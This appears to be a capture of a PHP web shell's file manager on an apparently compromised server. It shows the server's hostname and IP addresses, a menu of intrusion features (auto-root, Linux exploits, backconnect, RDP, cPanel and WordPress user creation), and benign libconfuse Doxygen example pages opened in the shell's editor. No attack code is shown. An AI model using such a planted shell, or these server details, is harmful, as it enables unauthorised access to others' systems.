Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libconfuse /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
search
[ DIR ]
drwxr-xr-x
annotated.html
4.5
KB
-rw-r--r--
bc_s.png
676
B
-rw-r--r--
bdwn.png
147
B
-rw-r--r--
classes.html
3.7
KB
-rw-r--r--
closed.png
132
B
-rw-r--r--
confuse_8h.html
255.76
KB
-rw-r--r--
confuse_8h_source.html
152.86
KB
-rw-r--r--
dir_68267d1309a1af8e8297ef4c3e...
3.49
KB
-rw-r--r--
doc.png
746
B
-rw-r--r--
doxygen.css
25.07
KB
-rw-r--r--
doxygen.png
3.69
KB
-rw-r--r--
dynsections.js
3.99
KB
-rw-r--r--
examples.html
2.99
KB
-rw-r--r--
files.html
3.19
KB
-rw-r--r--
folderclosed.png
616
B
-rw-r--r--
folderopen.png
597
B
-rw-r--r--
ftpconf_8c-example.html
32.56
KB
-rw-r--r--
functions.html
6.96
KB
-rw-r--r--
functions_vars.html
6.83
KB
-rw-r--r--
globals.html
17.71
KB
-rw-r--r--
globals_defs.html
6.85
KB
-rw-r--r--
globals_enum.html
2.84
KB
-rw-r--r--
globals_eval.html
3.72
KB
-rw-r--r--
globals_func.html
11.17
KB
-rw-r--r--
globals_type.html
3.53
KB
-rw-r--r--
index.html
3.38
KB
-rw-r--r--
jquery.js
171.34
KB
-rw-r--r--
menu.js
2.79
KB
-rw-r--r--
menudata.js
2.74
KB
-rw-r--r--
nav_f.png
153
B
-rw-r--r--
nav_g.png
95
B
-rw-r--r--
nav_h.png
98
B
-rw-r--r--
open.png
123
B
-rw-r--r--
reread_8c-example.html
16.95
KB
-rw-r--r--
simple_8c-example.html
14.92
KB
-rw-r--r--
splitbar.png
314
B
-rw-r--r--
structcfg__defvalue__t.html
6.35
KB
-rw-r--r--
structcfg__opt__t.html
12.34
KB
-rw-r--r--
structcfg__t.html
10.53
KB
-rw-r--r--
sync_off.png
853
B
-rw-r--r--
sync_on.png
845
B
-rw-r--r--
tab_a.png
142
B
-rw-r--r--
tab_b.png
169
B
-rw-r--r--
tab_h.png
177
B
-rw-r--r--
tab_s.png
184
B
-rw-r--r--
tabs.css
8.5
KB
-rw-r--r--
unioncfg__simple__t.html
3.21
KB
-rw-r--r--
unioncfg__value__t.html
6.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reread_8c-example.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.17"/> <title>confuse: reread.c</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/searchdata.js"></script> <script type="text/javascript" src="search/search.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectalign" style="padding-left: 0.5em;"> <div id="projectname">confuse  <span id="projectnumber">3.3</span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.17 --> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */ var searchBox = new SearchBox("searchBox", "search",false,'Search'); /* @license-end */ </script> <script type="text/javascript" src="menudata.js"></script> <script type="text/javascript" src="menu.js"></script> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */ $(function() { initMenu('',true,false,'search.php','Search'); $(document).ready(function() { init_search(); }); }); /* @license-end */</script> <div id="main-nav"></div> </div><!-- top --> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> </div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="header"> <div class="headertitle"> <div class="title">reread.c</div> </div> </div><!--header--> <div class="contents"> <div class="fragment"><div class="line"><span class="preprocessor">#include <err.h></span></div> <div class="line"><span class="preprocessor">#include <string.h></span></div> <div class="line"><span class="preprocessor">#include <signal.h></span></div> <div class="line"><span class="preprocessor">#include <unistd.h></span></div> <div class="line"><span class="preprocessor">#include <locale.h></span></div> <div class="line"><span class="preprocessor">#include "<a class="code" href="confuse_8h.html">confuse.h</a>"</span></div> <div class="line"> </div> <div class="line"><a name="_a0"></a><a class="code" href="structcfg__t.html">cfg_t</a> *cfg = 0;</div> <div class="line"><span class="keyword">const</span> <span class="keywordtype">char</span> *config_filename = <span class="stringliteral">"./reread.conf"</span>;</div> <div class="line"> </div> <div class="line"><span class="keywordtype">void</span> read_config(<span class="keywordtype">void</span>)</div> <div class="line">{</div> <div class="line"> <span class="keyword">static</span> <a name="_a1"></a><a class="code" href="structcfg__opt__t.html">cfg_opt_t</a> arg_opts[] = {</div> <div class="line"> <a name="a2"></a><a class="code" href="confuse_8h.html#a963e2ee16396dcf36f6d1937faa00f0c">CFG_STR</a>(<span class="stringliteral">"value"</span>, <span class="stringliteral">"default"</span>, <a name="a3"></a><a class="code" href="confuse_8h.html#a65df72d236bcc3e7f22c5b2b5c24bded">CFGF_NONE</a>),</div> <div class="line"> <a name="a4"></a><a class="code" href="confuse_8h.html#a6b29dd8a4c6cd3d392d4ab6b2e535597">CFG_END</a>()</div> <div class="line"> };</div> <div class="line"> <a class="code" href="structcfg__opt__t.html">cfg_opt_t</a> opts[] = {</div> <div class="line"> <a name="a5"></a><a class="code" href="confuse_8h.html#ac2b17561e944264c594ea0802e56d308">CFG_INT</a>(<span class="stringliteral">"delay"</span>, 3, <a class="code" href="confuse_8h.html#a65df72d236bcc3e7f22c5b2b5c24bded">CFGF_NONE</a>),</div> <div class="line"> <a class="code" href="confuse_8h.html#a963e2ee16396dcf36f6d1937faa00f0c">CFG_STR</a>(<span class="stringliteral">"message"</span>, <span class="stringliteral">"This is a message"</span>, <a class="code" href="confuse_8h.html#a65df72d236bcc3e7f22c5b2b5c24bded">CFGF_NONE</a>),</div> <div class="line"> <a name="a6"></a><a class="code" href="confuse_8h.html#a043d5c79624269e5f60f59a698e461a6">CFG_SEC</a>(<span class="stringliteral">"argument"</span>, arg_opts, <a name="a7"></a><a class="code" href="confuse_8h.html#a86b522a5daef5c07066b28f1585d2d77">CFGF_MULTI</a> | <a name="a8"></a><a class="code" href="confuse_8h.html#a65d20dbd5b778dd1bf3b3895206b4497">CFGF_TITLE</a>),</div> <div class="line"> <a class="code" href="confuse_8h.html#a6b29dd8a4c6cd3d392d4ab6b2e535597">CFG_END</a>()</div> <div class="line"> };</div> <div class="line"> </div> <div class="line"> <span class="keywordtype">char</span> *buf = <span class="stringliteral">""</span></div> <div class="line"> <span class="stringliteral">" delay = 3\n"</span> <span class="stringliteral">"# message = \"asdfasfasfd tersf\"\n"</span> <span class="stringliteral">" argument one { value = 1 }\n"</span> <span class="stringliteral">" argument two { value=foo}\n"</span>;</div> <div class="line"> </div> <div class="line"> <a name="a9"></a><a class="code" href="confuse_8h.html#aae5e08626bf53514a6ebf250580feba3">cfg_free</a>(cfg);</div> <div class="line"> </div> <div class="line"> cfg = <a name="a10"></a><a class="code" href="confuse_8h.html#aec07794916564c8ab437e030ac618aa8">cfg_init</a>(opts, 0);</div> <div class="line"> <span class="keywordflow">if</span> (<a name="a11"></a><a class="code" href="confuse_8h.html#a6da020721a065f359cf343f014e7834c">cfg_parse_buf</a>(cfg, buf) != <a name="a12"></a><a class="code" href="confuse_8h.html#a66a1002180229809620b9bf2d3b888a6">CFG_SUCCESS</a>)</div> <div class="line"> errx(1, <span class="stringliteral">"Failed parsing configuration!\n"</span>);</div> <div class="line"> </div> <div class="line"> <a name="a13"></a><a class="code" href="confuse_8h.html#a0fca327466956c5580199e24397d49fe">cfg_parse</a>(cfg, config_filename);</div> <div class="line">}</div> <div class="line"> </div> <div class="line"><span class="keywordtype">void</span> sighandler(<span class="keywordtype">int</span> sig)</div> <div class="line">{</div> <div class="line"> read_config();</div> <div class="line"> signal(SIGHUP, sighandler);</div> <div class="line">}</div> <div class="line"> </div> <div class="line"><span class="keyword">static</span> <span class="keywordtype">int</span> loop = 1;</div> <div class="line"> </div> <div class="line"><span class="keywordtype">void</span> usr1handler(<span class="keywordtype">int</span> sig)</div> <div class="line">{</div> <div class="line"> loop = 0;</div> <div class="line">}</div> <div class="line"> </div> <div class="line"><span class="keywordtype">int</span> main(<span class="keywordtype">void</span>)</div> <div class="line">{</div> <div class="line"> <span class="keywordtype">unsigned</span> <span class="keywordtype">int</span> i;</div> <div class="line"> </div> <div class="line"> <span class="comment">/* Localize messages & types according to environment, since v2.9 */</span></div> <div class="line"><span class="preprocessor">#ifdef LC_MESSAGES</span></div> <div class="line"> setlocale(LC_MESSAGES, <span class="stringliteral">""</span>);</div> <div class="line"> setlocale(LC_CTYPE, <span class="stringliteral">""</span>);</div> <div class="line"><span class="preprocessor">#endif</span></div> <div class="line"> </div> <div class="line"> read_config();</div> <div class="line"> signal(SIGHUP, sighandler);</div> <div class="line"> signal(SIGUSR1, usr1handler);</div> <div class="line"> </div> <div class="line"> <span class="keywordflow">while</span> (loop) {</div> <div class="line"> printf(<span class="stringliteral">"Message: %s"</span>, <a name="a14"></a><a class="code" href="confuse_8h.html#a4a9c34acc55cca63649c088d98053905">cfg_getstr</a>(cfg, <span class="stringliteral">"message"</span>));</div> <div class="line"> <span class="keywordflow">for</span> (i = 0; i < <a name="a15"></a><a class="code" href="confuse_8h.html#acb8b2b9aa7d9e2e3c0eca67ea27bed15">cfg_size</a>(cfg, <span class="stringliteral">"argument"</span>); i++) {</div> <div class="line"> <a class="code" href="structcfg__t.html">cfg_t</a> *arg = <a name="a16"></a><a class="code" href="confuse_8h.html#ad5e8eea765588892053b73eed4017edd">cfg_getnsec</a>(cfg, <span class="stringliteral">"argument"</span>, i);</div> <div class="line"> </div> <div class="line"> printf(<span class="stringliteral">", %s"</span>, <a class="code" href="confuse_8h.html#a4a9c34acc55cca63649c088d98053905">cfg_getstr</a>(arg, <span class="stringliteral">"value"</span>));</div> <div class="line"> }</div> <div class="line"> printf(<span class="stringliteral">"\n"</span>);</div> <div class="line"> </div> <div class="line"> sleep(<a name="a17"></a><a class="code" href="confuse_8h.html#aaa50eb2942ae8e7cb7f9ccbfe002b3cd">cfg_getint</a>(cfg, <span class="stringliteral">"delay"</span>));</div> <div class="line"> }</div> <div class="line"> </div> <div class="line"> <a class="code" href="confuse_8h.html#aae5e08626bf53514a6ebf250580feba3">cfg_free</a>(cfg);</div> <div class="line"> cfg = 0;</div> <div class="line"> </div> <div class="line"> <span class="keywordflow">return</span> 0;</div> <div class="line">}</div> </div><!-- fragment --> </div><!-- contents --> <div class="ttc" id="aconfuse_8h_html_aec07794916564c8ab437e030ac618aa8"><div class="ttname"><a href="confuse_8h.html#aec07794916564c8ab437e030ac618aa8">cfg_init</a></div><div class="ttdeci">DLLIMPORT cfg_t *__export cfg_init(cfg_opt_t *opts, cfg_flag_t flags)</div><div class="ttdoc">Create and initialize a cfg_t structure.</div><div class="ttdef"><b>Definition:</b> confuse.c:1816</div></div> <div class="ttc" id="aconfuse_8h_html_ac2b17561e944264c594ea0802e56d308"><div class="ttname"><a href="confuse_8h.html#ac2b17561e944264c594ea0802e56d308">CFG_INT</a></div><div class="ttdeci">#define CFG_INT(name, def, flags)</div><div class="ttdoc">Initialize an integer option.</div><div class="ttdef"><b>Definition:</b> confuse.h:421</div></div> <div class="ttc" id="aconfuse_8h_html_acb8b2b9aa7d9e2e3c0eca67ea27bed15"><div class="ttname"><a href="confuse_8h.html#acb8b2b9aa7d9e2e3c0eca67ea27bed15">cfg_size</a></div><div class="ttdeci">DLLIMPORT unsigned int __export cfg_size(cfg_t *cfg, const char *name)</div><div class="ttdoc">Return the number of values this option has.</div><div class="ttdef"><b>Definition:</b> confuse.c:406</div></div> <div class="ttc" id="aconfuse_8h_html_a6b29dd8a4c6cd3d392d4ab6b2e535597"><div class="ttname"><a href="confuse_8h.html#a6b29dd8a4c6cd3d392d4ab6b2e535597">CFG_END</a></div><div class="ttdeci">#define CFG_END()</div><div class="ttdoc">Terminate list of options.</div><div class="ttdef"><b>Definition:</b> confuse.h:574</div></div> <div class="ttc" id="aconfuse_8h_html_a963e2ee16396dcf36f6d1937faa00f0c"><div class="ttname"><a href="confuse_8h.html#a963e2ee16396dcf36f6d1937faa00f0c">CFG_STR</a></div><div class="ttdeci">#define CFG_STR(name, def, flags)</div><div class="ttdoc">Initialize a string option.</div><div class="ttdef"><b>Definition:</b> confuse.h:340</div></div> <div class="ttc" id="aconfuse_8h_html"><div class="ttname"><a href="confuse_8h.html">confuse.h</a></div><div class="ttdoc">A configuration file parser library.</div></div> <div class="ttc" id="aconfuse_8h_html_a65d20dbd5b778dd1bf3b3895206b4497"><div class="ttname"><a href="confuse_8h.html#a65d20dbd5b778dd1bf3b3895206b4497">CFGF_TITLE</a></div><div class="ttdeci">#define CFGF_TITLE</div><div class="ttdoc">option has a title (only applies to sections)</div><div class="ttdef"><b>Definition:</b> confuse.h:90</div></div> <div class="ttc" id="aconfuse_8h_html_a6da020721a065f359cf343f014e7834c"><div class="ttname"><a href="confuse_8h.html#a6da020721a065f359cf343f014e7834c">cfg_parse_buf</a></div><div class="ttdeci">DLLIMPORT int __export cfg_parse_buf(cfg_t *cfg, const char *buf)</div><div class="ttdoc">Same as cfg_parse() above, but takes a character buffer as argument.</div><div class="ttdef"><b>Definition:</b> confuse.c:1777</div></div> <div class="ttc" id="aconfuse_8h_html_ad5e8eea765588892053b73eed4017edd"><div class="ttname"><a href="confuse_8h.html#ad5e8eea765588892053b73eed4017edd">cfg_getnsec</a></div><div class="ttdeci">DLLIMPORT cfg_t *__export cfg_getnsec(cfg_t *cfg, const char *name, unsigned int index)</div><div class="ttdoc">Indexed version of cfg_getsec(), used for sections with the CFGF_MULTI flag set.</div><div class="ttdef"><b>Definition:</b> confuse.c:563</div></div> <div class="ttc" id="aconfuse_8h_html_a0fca327466956c5580199e24397d49fe"><div class="ttname"><a href="confuse_8h.html#a0fca327466956c5580199e24397d49fe">cfg_parse</a></div><div class="ttdeci">DLLIMPORT int __export cfg_parse(cfg_t *cfg, const char *filename)</div><div class="ttdoc">Parse a configuration file.</div><div class="ttdef"><b>Definition:</b> confuse.c:1746</div></div> <div class="ttc" id="astructcfg__opt__t_html"><div class="ttname"><a href="structcfg__opt__t.html">cfg_opt_t</a></div><div class="ttdoc">Data structure holding information about an option.</div><div class="ttdef"><b>Definition:</b> confuse.h:309</div></div> <div class="ttc" id="aconfuse_8h_html_a043d5c79624269e5f60f59a698e461a6"><div class="ttname"><a href="confuse_8h.html#a043d5c79624269e5f60f59a698e461a6">CFG_SEC</a></div><div class="ttdeci">#define CFG_SEC(name, opts, flags)</div><div class="ttdoc">Initialize a section.</div><div class="ttdef"><b>Definition:</b> confuse.h:527</div></div> <div class="ttc" id="aconfuse_8h_html_a65df72d236bcc3e7f22c5b2b5c24bded"><div class="ttname"><a href="confuse_8h.html#a65df72d236bcc3e7f22c5b2b5c24bded">CFGF_NONE</a></div><div class="ttdeci">#define CFGF_NONE</div><div class="ttdoc">Flags.</div><div class="ttdef"><b>Definition:</b> confuse.h:86</div></div> <div class="ttc" id="aconfuse_8h_html_a86b522a5daef5c07066b28f1585d2d77"><div class="ttname"><a href="confuse_8h.html#a86b522a5daef5c07066b28f1585d2d77">CFGF_MULTI</a></div><div class="ttdeci">#define CFGF_MULTI</div><div class="ttdoc">option may be specified multiple times (only applies to sections)</div><div class="ttdef"><b>Definition:</b> confuse.h:87</div></div> <div class="ttc" id="astructcfg__t_html"><div class="ttname"><a href="structcfg__t.html">cfg_t</a></div><div class="ttdoc">Data structure holding information about a "section".</div><div class="ttdef"><b>Definition:</b> confuse.h:252</div></div> <div class="ttc" id="aconfuse_8h_html_aaa50eb2942ae8e7cb7f9ccbfe002b3cd"><div class="ttname"><a href="confuse_8h.html#aaa50eb2942ae8e7cb7f9ccbfe002b3cd">cfg_getint</a></div><div class="ttdeci">DLLIMPORT long int __export cfg_getint(cfg_t *cfg, const char *name)</div><div class="ttdoc">Returns the value of an integer option.</div><div class="ttdef"><b>Definition:</b> confuse.c:444</div></div> <div class="ttc" id="aconfuse_8h_html_aae5e08626bf53514a6ebf250580feba3"><div class="ttname"><a href="confuse_8h.html#aae5e08626bf53514a6ebf250580feba3">cfg_free</a></div><div class="ttdeci">DLLIMPORT int __export cfg_free(cfg_t *cfg)</div><div class="ttdoc">Free a cfg_t context.</div><div class="ttdef"><b>Definition:</b> confuse.c:1962</div></div> <div class="ttc" id="aconfuse_8h_html_a66a1002180229809620b9bf2d3b888a6"><div class="ttname"><a href="confuse_8h.html#a66a1002180229809620b9bf2d3b888a6">CFG_SUCCESS</a></div><div class="ttdeci">#define CFG_SUCCESS</div><div class="ttdoc">Return codes from cfg_parse(), cfg_parse_boolean(), and cfg_set*() functions.</div><div class="ttdef"><b>Definition:</b> confuse.h:105</div></div> <div class="ttc" id="aconfuse_8h_html_a4a9c34acc55cca63649c088d98053905"><div class="ttname"><a href="confuse_8h.html#a4a9c34acc55cca63649c088d98053905">cfg_getstr</a></div><div class="ttdeci">DLLIMPORT char *__export cfg_getstr(cfg_t *cfg, const char *name)</div><div class="ttdoc">Returns the value of a string option.</div><div class="ttdef"><b>Definition:</b> confuse.c:519</div></div> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.17 </small></address> </body> </html>
Close